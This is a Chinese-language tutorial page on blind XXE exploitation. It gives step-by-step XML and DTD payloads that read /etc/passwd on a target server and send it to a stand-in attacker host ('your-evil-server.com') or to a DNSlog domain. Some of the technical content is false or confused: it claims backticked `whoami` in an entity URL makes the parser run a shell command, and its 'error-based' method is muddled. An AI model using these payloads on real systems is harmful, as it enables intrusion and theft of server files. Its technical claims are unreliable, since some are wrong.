XXE 盲注思路

1. 基础的带外请求(OOB)

这是 XXE 盲注最基本的利用方式。我们首先要确认服务器是否存在 XXE 漏洞,即使没有回显

  • 攻击步骤:

    1. 准备攻击服务器: 搭建一个 Web 服务器(例如使用 Python 的 SimpleHTTPServer)或利用DNSlog平台

    2. 构造恶意 XML 实体:

      <?xml version="1.0"?>
      <!DOCTYPE a [
      <!ENTITY % p1 SYSTEM "http://your-evil-server.com/test">
      %p1;
      ]>
      <test></test>
      
    3. 发送请求: 将上述 XML 作为请求体发送到目标服务器

    4. 确认存在漏洞: 如果你的服务器收到了来自目标 IP 的 GET /test 请求,就说明服务器存在 XXE 漏洞

2. 利用带外请求获取文件内容

确认漏洞存在后,下一步就是尝试读取服务器上的文件

  • 攻击步骤:

    1. 构造恶意 DTD 文件: 在你的攻击服务器上,创建一个 DTD 文件(例如 evil.dtd),内容如下:

      <!ENTITY % file SYSTEM "file:///etc/passwd">
      <!ENTITY % send SYSTEM "http://your-evil-server.com/?data=%file;">
      
    2. 构造主 XML 请求:

      <?xml version="1.0"?>
      <!DOCTYPE a [
      <!ENTITY % p1 SYSTEM "http://your-evil-server.com/evil.dtd">
      %p1;
      %send;
      ]>
      <test></test>
      
    3. 发送请求:

      • 当服务器解析主 XML 文件时,它会首先请求 evil.dtd
      • 解析 evil.dtd 后,它会读取 file:///etc/passwd 的内容,并将其作为 %file 实体的值
      • 最后,它会请求 %send 实体,将文件内容作为 GET 参数发送到你的服务器
    4. 接收数据: 你会在你的服务器日志中看到类似 GET /?data=root:x:0:0:root:/root:/bin/bash... 的请求,从而获取 /etc/passwd 的内容

3. 利用参数实体获取错误信息

当无法通过 HTTP GET 请求直接传输数据时,可以利用 XML 解析器的错误信息来带出数据。这种方法通常用于绕过 WAF 或一些过滤

  • 攻击步骤:

    1. 构造恶意 DTD 文件: 在你的服务器上创建 DTD 文件,内容如下:

      <!ENTITY % p1 "
      <!ENTITY &#x25; oob SYSTEM 'http://your-evil-server.com/?data=%file;'>
      ">
      
    2. 构造主 XML 请求:

      <?xml version="1.0"?>
      <!DOCTYPE root [
      <!ENTITY % file SYSTEM "file:///etc/passwd">
      <!ENTITY % dtd SYSTEM "http://your-evil-server.com/evil.dtd">
      %dtd;
      %p1;
      %oob;
      ]>
      <root></root>
      
    3. 发送请求:

      • 服务器解析主 XML 时,会首先加载 evil.dtd
      • 然后,它会尝试解析 %p1,其中包含 %oob 的定义
      • 由于 %oob 实体引用了 %file,而 %file 是一个文件内容,当 XML 解析器尝试将其解析为 URL 时,会因为语法错误而失败,并抛出错误信息
    4. 这种方法的关键在于,某些 XML 解析器会把完整的错误信息(包括外部实体的内容)带回给客户端,或者将其写入服务器日志。 虽然不能直接从响应中看到,但可以利用这个特性进行注入

4. 利用 DNSlog 获取数据

当目标服务器无法出网,或者 HTTP 协议被严格过滤时,DNSlog 是一个非常好的选择

  • 攻击步骤:

    1. 准备 DNSlog 平台: 获取一个 DNSlog 域名,例如 hacker.dnslog.cn

    2. 构造 XML 请求:

      <?xml version="1.0"?>
      <!DOCTYPE a [
      <!ENTITY % p1 SYSTEM "http://`whoami`.hacker.dnslog.cn">
      %p1;
      ]>
      <test></test>
      
    3. 发送请求:

      • 服务器解析 XML 时,会尝试解析 whoami 命令的输出,并将其作为子域名,向 hacker.dnslog.cn 发起 DNS 查询
    4. 查看结果: 你会在 DNSlog 平台的日志中看到类似 www-data.hacker.dnslog.cn 的查询记录,从而获取到 whoami 命令的输出

Copyright © 版权信息 all right reserved,powered by Gitbook该文件修订时间: 2025-09-25 03:12:53

results matching ""

    No results matching ""